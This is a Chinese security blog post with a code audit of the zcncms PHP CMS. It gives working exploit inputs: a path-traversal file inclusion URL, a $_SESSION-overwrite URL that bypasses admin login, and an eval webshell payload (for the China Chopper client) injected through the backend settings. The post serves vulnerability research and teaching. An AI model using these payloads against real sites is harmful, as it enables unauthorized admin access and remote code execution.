您的位置 » 首页 » 代码审计,实用工具 » 代码审计:zcncms多个漏洞

代码审计:zcncms多个漏洞

发表于5年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2012年12月14日 | 文章热度:6,879 次 全屏阅读

显示不全请点击全屏阅读

这篇代码审计之前在坛子里发过了,转过来。

 百度了下,zcncms之前出过一个文件包含漏洞,不过在我看的这个版本中已经修补了,还有个getip的注入漏~洞。下面是昨天晚上找到的几个漏~洞。

 0x01 鸡肋的本地文件包含

漏~洞文件./include/rootstart.inc.php,漏~洞代码如下:

1
2
3
4
5
6
7
if(in_array($controllerName,$config['modtype'])){
$action = $actionName;//没有校验直接拼接到下面的路径了
$controller = $controllerName;
//echo $action;exit;
$filepath = WEB_INC . WEB_APP . 'controller/' . $controller. '_' .$action.'.php';
echo $filepath;exit;
$filepath1 = WEB_INC . WEB_APP . 'controller/' . $controller. '.php';

$action没有过滤直接拼接到下面的路径了,这样的话我们请求如下连接http://192.168.80.129/zcncms/zcncms/?c=articles&a=/../../../1 就会包含到根目录下的1.php,本地测试可行。之所以鸡肋是前台没发上传文件。

 

0x02 变量覆盖

漏~洞文件./include/commom.inc.php,代码如下:

1
2
3
4
5
6
require(WEB_INC.'/config.inc.php');
 
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _GetRequest($_v);
}

这种的变量覆盖应该和extract等几个函数一样有名了,也就是说当我们提交index.php?abc=def,那么在后面的代码里abc就会是一个全局变量,值为def;由于这段代码比较靠前,能够覆盖的变量不是很多,下面会给出利用的方法。

 

0x03 变量覆盖$magic_quotes

这里说到变量覆盖$magic_quotes只是一个思路,仅仅为了学习,并不能利用成功,下面一一说来。在0x02说到变量覆盖,恰巧在这段代码前面有$magic_quotes这个变量。而这个变量是如何定义的呢

1
2
3
4
5
6
7
8
<?php
//防止特殊字符
defined( 'WEB_IN' ) or die( 'Restricted access' );
@set_magic_quotes_runtime(0);
$magic_quotes=get_magic_quotes_gpc();
//var_dump($magic_quotes);
//echo $magic_quotes;exit;
//sqlite的sqlite_escape_string

也就说我们可以把$magic_quotes覆盖为1,那么后面执行的转义的逻辑就会按1来,这样提交的单引号就不会转义了。在看下转义的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function _GetRequest(&$svar){
global $db_type,$magic_quotes;
if(!$magic_quotes){//这里饶过
if(is_array($svar)){
foreach($svar as $_k => $_v) $svar[$_k] = _GetRequest($_v);
}else{
if($db_type==1){
$svar = my_sqlite_escape_string($svar);
}elseif($db_type==2){
//echo $svar;
$svar = addslashes($svar);
}
}
}else{
//没有开..兼容sqlite
if(is_array($svar)){
foreach($svar as $_k => $_v) $svar[$_k] = _GetRequest($_v);
}else{
if($db_type==1){
$svar = stripslashes($svar);
$svar = my_sqlite_escape_string($svar);
}
}
}
return $svar;
}

可以如下提交:index.php?magic_quotes=1&inj=abc’ 本机测试时确实没有给转义。不过后面他还有个校验函数,只要有单引号,双引号等特殊字符就退出了,这里并不是为了实现什么攻击,只是为了学习还是写出来。

 

0x04 伪造登录

所谓的伪造登录其实还是因为前面的变量覆盖,虽然我们可以覆盖的变量很少,但是不要忘记了$_SESSION,看管理员校验函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
defined( 'WEB_IN' ) or die( 'Restricted access' );
//var_dump($_SESSION);exit;
$admin_classid=isset($_SESSION['admin_classid'])?$_SESSION['admin_classid']:NULL;
$admin_power=isset($_SESSION['admin_power'])?$_SESSION['admin_power']:NULL;
$admin_username=isset($_SESSION['admin_username'])?$_SESSION['admin_username']:NULL;
$admin_id=isset($_SESSION['admin_id'])?$_SESSION['admin_id']:NULL;
//file_put_contents('11.txt',$pagepower.'='.session_id());
//登陆检测
//echo $admin_classid;exit;
if($admin_classid==""||$admin_username==""||$admin_id==""){
Header("Location:?c=login");
//echo"<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>尚未登录,请<a href=?c=login'>登陆</a>";
exit;
}

可见只要覆盖$_SESSION就可以直接登录了。那么我们提交如下链接就可以直接进入后台了。
/admin/?c=index&_SESSION[admin_classid]=1&_SESSION[admin_power]=999&_SESSION[admin_username]=qingshen&_SESSION[admin_id]=1

 

0x05 后台getshell

后台有个基本信息,可以编辑基本信息,而且基本信息是写入到./include/sys.inc.php文件中,刚开始测试时想用双引号闭合前面的双引号,但是双引号给转移了,所以用如下方法。原理看茄子牛的blog。

基本信息 –》关闭信息–》输入:abc${${@eval($_POST[x])}}qingshen–》保存–》菜刀连接/include/sys.inc.php–》密码x–》本机测试通过。

0x06 只为学习

本文中提到的几个所谓的漏洞其实并没法用,但是为了学代码审计还是值得一写的。也希望更多人一起来纯粹的学习。最近看到wooyun上在讨论白帽子的事,自己也想了很多,对于白帽子大家怎么看?

 

by qingsh4n

原文:http://hi.baidu.com/qingsh4n/item/54db5f039307cc31a0312da0

Tags:

zcncms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1887/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)